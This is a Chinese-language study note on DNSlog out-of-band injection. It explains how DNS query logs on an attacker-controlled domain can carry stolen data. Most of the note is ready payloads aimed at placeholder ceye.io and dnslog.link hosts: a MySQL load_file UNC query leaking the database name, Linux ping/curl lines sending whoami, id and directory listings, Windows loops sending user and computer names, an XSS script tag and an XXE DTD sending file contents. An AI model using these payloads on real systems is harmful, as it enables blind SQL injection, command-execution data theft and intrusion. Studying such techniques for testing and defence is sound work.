DNSlog注入学习
前置
读完之后可以感受到,从用户到本地DNS服务器使用的是递归查询,递归的是本地DNS服务器帮你去迭代查询。
其中,红色部分是可控的。我们只需要弄一个红色部分的DNS服务器,就得到DNS的解析日志。
红色部分哪里来?自己搭建去(不一定),可以用下面的网站。
网站
原理
上面这些讲的很清楚,这里再用自己的话总结一下,就以Sql的利用为例子:
在权限(文件可读)、环境(secure_file_priv)、长度(max_allowed_packet)都满足的情况下,在通过LOAD-FILE等文件函数进行读写时,整了个UCN路径,UCN路径构建DNS服务器地址,假装访问文件,产生DNSlog,就是这个DNSlog可以夹带私货,比如
select load_file(concat(’\\’,(select database()),’.xxxx.ceye.io\abc’))
UNC路径的理解(Universal Naming Convention)
利用
1.SQL注入中的盲注
2.无回显的命令执行
Linux
ping `whoami`.xxxx.ceye.io
curl http://haha.xxx.ceye.io/`whoami`
像这里还有复杂点的,base64,多行输出等等
curl http://xxx.dnslog.link/$(id|base64|tr '\n' '-')
for i in $(ls /);do curl "http://$i.xxx.dnslog.link/";done;
Windows
ping %USERNAME%.xxx.ceye.io
这里也有复杂点的,其实都是配合命令行来
获取计算机名:for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link
获取用户名:for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link
3.无回显SSRF
基本是把url换成想要的SSRF.xxxx.ceye.io
4.XSS跨站
<script src=http://XSS.XXXXX.ceye.io></script>
5.XXE
改dtd:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxxx.ceye.io/%file;'>"
>
%all;
Tips
**为什么要使用DNS注入?**同学面试的时候被问过,原话是:除了上述这些(报错,盲注等)注入,sql注入有没有啥快速跑出来的方法?
盲注跑数据太慢的情况下,可以选择DNS注入。